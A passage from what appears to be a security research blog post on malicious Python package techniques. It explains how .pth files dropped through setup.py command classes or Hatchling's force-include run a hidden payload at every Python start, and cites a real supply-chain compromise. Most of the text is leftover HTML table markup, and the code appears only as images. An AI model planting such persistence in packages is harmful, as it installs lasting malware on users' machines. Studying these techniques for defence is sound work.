margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistent</span></span><span class="EOP SCXW100511730 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW100511730 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW100511730 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW100511730 BCX4" paraid="701207404" paraeid="{af509747-e7a7-4d1a-acab-632c7ee68a21}{154}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build</span></span><span class="EOP SCXW100511730 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW100511730 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW100511730 BCX4" paraid="31677727" paraeid="{af509747-e7a7-4d1a-acab-632c7ee68a21}{161}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">setup.py, </span><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">pyproject.toml</span></span><span class="EOP SCXW100511730 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW100511730 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol LastRow SCXW100511730 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW100511730 BCX4" paraid="1018948725" paraeid="{af509747-e7a7-4d1a-acab-632c7ee68a21}{169}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Distributions</span></span><span class="EOP SCXW100511730 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW100511730 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW100511730 BCX4" paraid="275453867" paraeid="{af509747-e7a7-4d1a-acab-632c7ee68a21}{176}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">sdist</span><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">, wheel</span></span><span class="EOP SCXW100511730 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<p></p><p>Path configuration files (.pth) are used to extend system path coverage for Python environments. They are expected to contain file paths in order to point out additional directories for runtime usage. Yet, they are capable of executing Python one-liners. Once a .pth file was added directly under package folders, such as &#x201C;site-packages&#x201D; or &#x201C;dist-packages&#x201D;, they are executed with every invocation of Python, therefore exhibiting a persistent behavior on the victim endpoint. This technique can be achieved regardless of the build method and distribution type. One of the high profile campaigns using this technique was initiated by the TeamPCP during supply chain <a href="https://www.endorlabs.com/learn/teampcp-isnt-done" rel="noreferrer noopener"><u>compromise</u></a> of the <code>litellm</code> package.&#xA0;</p><p>In order to leverage .pth files through &#x201C;setup.py&#x201D;, we can again use the help of <code>distutils</code> command classes. Our hidden payload located in a .md file, will be converted to a .pth file and will be added to the root of the package directory, once the build process is completed.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-8-figure-3.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="1842" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-8-figure-3.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-8-figure-3.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-8-figure-3.png 1430w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 3. &#x201C;setup.py&#x201D; leveraging command classes to write a .pth file on disk.</span></figcaption></figure><p>Alternatively, same can be achieved through &#x201C;pyproject.toml&#x201D; file. If the <a href="https://pypi.org/project/hatchling/" rel="noreferrer noopener"><u>Hatchling</u></a> backend is used, you can use the <code>tool.hatch.build.targets.wheel.force-include</code> capability in order to drop a &#x201C;.pth&#x201D; file under the packages folder.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-9-figure-4.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="986" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-9-figure-4.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-9-figure-4.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-9-figure-4.png 1430w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 4. &#x201C;pyproject.toml&#x201D; writing a .pth file on disk.&#xA0;</span></figcaption></figure><p>After installing this package, every invocation of Python (whether failed or succeeded) will be infected with the payload located within the .pth file. For testing purposes, this payload executed &#x201C;calc.exe&#x201D; after each invocation of Python.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-10.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="458" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-10.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-10.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-10.png 1430w" sizes="(min-width: 720px) 720px"></figure><h3 id="use-of-site-hook-modules">Use of Site Hook Modules&#xA0;</h3>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW180821648 BCX4" border="1" dir="ltr" data-tablestyle="MsoNormalTable" data-tablelook="1184" aria-rowcount="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: none; border-spacing: 0px;"><tbody class="SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW180821648 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstRow FirstCol SCXW180821648 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW180821648 BCX4" paraid="132328827" paraeid="{6dce087d-fd39-46f4-b6c8-5d83250051e0}{170}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">OS</span></span><span class="EOP SCXW180821648 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW180821648 BCX4" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW180821648 BCX4" paraid="827620713" paraeid="{6dce087d-fd39-46f4-b6c8-5d83250051e0}{177}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Windows, Linux, macOS</span></span><span class="EOP SCXW180821648 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW180821648 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW180821648 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW180821648 BCX4" paraid="216919498" paraeid="{6dce087d-fd39-46f4-b6c8-5d83250051e0}{185}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Category</span></span><span class="EOP SCXW180821648 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW180821648 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW180821648 BCX4" paraid="516428156" paraeid="{6dce087d-fd39-46f4-b6c8-5d83250051e0}{192}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build Hook Abuse</span></span><span class="EOP SCXW180821648 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW180821648 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW180821648 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW180821648 BCX4" paraid="769518888" paraeid="{6dce087d-fd39-46f4-b6c8-5d83250051e0}{200}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistence</span></span><span class="EOP SCXW180821648 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW180821648 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW180821648 BCX4" paraid="903865314" paraeid="{6dce087d-fd39-46f4-b6c8-5d83250051e0}{207}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistent</span></span><span class="EOP SCXW180821648 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW180821648 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW180821648 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW180821648 BCX4" paraid="1597685541" paraeid="{6dce087d-fd39-46f4-b6c8-5d83250051e0}{215}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; 